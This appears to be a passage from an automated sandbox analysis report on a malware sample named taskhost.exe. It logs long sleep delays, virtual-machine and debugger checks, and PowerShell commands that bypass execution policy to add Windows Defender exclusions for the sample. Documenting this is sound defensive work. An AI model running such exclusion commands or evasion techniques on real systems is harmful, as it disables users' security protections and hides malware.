Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 597781	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 597671	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 597562	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 597453	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 597343	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 597234	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 597125	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 597015	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 596906	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 596796	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 596687	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 596578	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 596468	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 596359	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 596250	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 596140	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 596031	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 595922	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 595812	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 595699	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 595593	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 595484	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 595328	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 595195	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 595025	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 594891	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 594656	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 594405	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 594295	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 594186	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 594078	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 593968	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 593859	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 593750	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 593640	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 593531	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 593421	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 593312	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Users\user\Desktop\taskhost.exe	Window / User API: threadDelayed 7243	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Window / User API: threadDelayed 2597	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6214	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3579	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7420	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2096	Jump to behavior

Source: C:\Users\user\Desktop\taskhost.exe TID: 8020	Thread sleep count: 36 > 30	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe TID: 8020	Thread sleep time: -33204139332677172s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe TID: 8020	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe TID: 8020	Thread sleep time: -599875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe TID: 8024	Thread sleep count: 7243 > 30	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe TID: 8024	Thread sleep count: 2597 > 30	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe TID: 8020	Thread sleep time: -599765s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe TID: 8020	Thread sleep time: -599656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe TID: 8020	Thread sleep time: -599546s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe TID: 8020	Thread sleep time: -599437s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe TID: 8020	Thread sleep time: -599326s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe TID: 8020	Thread sleep time: -599218s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe TID: 8020	Thread sleep time: -599006s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe TID: 8020	Thread sleep time: -598823s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe TID: 8020	Thread sleep time: -598515s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe TID: 8020	Thread sleep time: -598122s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe TID: 8020	Thread sleep time: -597999s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe TID: 8020	Thread sleep time: -597890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe TID: 8020	Thread sleep time: -597781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe TID: 8020	Thread sleep time: -597671s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe TID: 8020	Thread sleep time: -597562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe TID: 8020	Thread sleep time: -597453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe TID: 8020	Thread sleep time: -597343s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe TID: 8020	Thread sleep time: -597234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe TID: 8020	Thread sleep time: -597125s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe TID: 8020	Thread sleep time: -597015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe TID: 8020	Thread sleep time: -596906s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe TID: 8020	Thread sleep time: -596796s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe TID: 8020	Thread sleep time: -596687s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe TID: 8020	Thread sleep time: -596578s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe TID: 8020	Thread sleep time: -596468s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe TID: 8020	Thread sleep time: -596359s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe TID: 8020	Thread sleep time: -596250s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe TID: 8020	Thread sleep time: -596140s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe TID: 8020	Thread sleep time: -596031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe TID: 8020	Thread sleep time: -595922s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe TID: 8020	Thread sleep time: -595812s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe TID: 8020	Thread sleep time: -595699s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe TID: 8020	Thread sleep time: -595593s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe TID: 8020	Thread sleep time: -595484s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe TID: 8020	Thread sleep time: -595328s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe TID: 8020	Thread sleep time: -595195s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe TID: 8020	Thread sleep time: -595025s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe TID: 8020	Thread sleep time: -594891s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe TID: 8020	Thread sleep time: -594656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe TID: 8020	Thread sleep time: -594405s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe TID: 8020	Thread sleep time: -594295s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe TID: 8020	Thread sleep time: -594186s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe TID: 8020	Thread sleep time: -594078s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe TID: 8020	Thread sleep time: -593968s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe TID: 8020	Thread sleep time: -593859s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe TID: 8020	Thread sleep time: -593750s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe TID: 8020	Thread sleep time: -593640s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe TID: 8020	Thread sleep time: -593531s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe TID: 8020	Thread sleep time: -593421s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe TID: 8020	Thread sleep time: -593312s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7648	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7900	Thread sleep count: 7420 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7904	Thread sleep count: 2096 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7936	Thread sleep time: -5534023222112862s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\taskhost.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem

Source: C:\Users\user\Desktop\taskhost.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 599765	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 599546	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 599437	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 599326	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 599218	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 599006	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 598823	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 598515	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 598122	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 597999	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 597890	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 597781	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 597671	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 597562	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 597453	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 597343	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 597234	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 597125	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 597015	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 596906	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 596796	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 596687	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 596578	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 596468	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 596359	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 596250	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 596140	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 596031	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 595922	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 595812	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 595699	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 595593	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 595484	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 595328	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 595195	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 595025	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 594891	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 594656	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 594405	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 594295	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 594186	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 594078	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 593968	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 593859	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 593750	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 593640	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 593531	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 593421	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 593312	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: taskhost.exe	Binary or memory string: vmware
Source: taskhost.exe, 00000000.00000002.2553079176.000000001BC83000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Source: C:\Users\user\Desktop\taskhost.exe

Code function: 0_2_00007FFAAC916C01 CheckRemoteDebuggerPresent,

0_2_00007FFAAC916C01

Source: C:\Users\user\Desktop\taskhost.exe

Process queried: DebugPort

Jump to behavior

Source: C:\Users\user\Desktop\taskhost.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\taskhost.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\taskhost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\taskhost.exe'
Source: C:\Users\user\Desktop\taskhost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\taskhost.exe'			Jump to behavior

Bypasses PowerShell execution policy

Source: C:\Users\user\Desktop\taskhost.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\taskhost.exe'

Source: C:\Users\user\Desktop\taskhost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\taskhost.exe'			Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'taskhost.exe'			Jump to behavior

Source: C:\Users\user\Desktop\taskhost.exe	Queries volume information: C:\Users\user\Desktop\taskhost.exe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\taskhost.exe

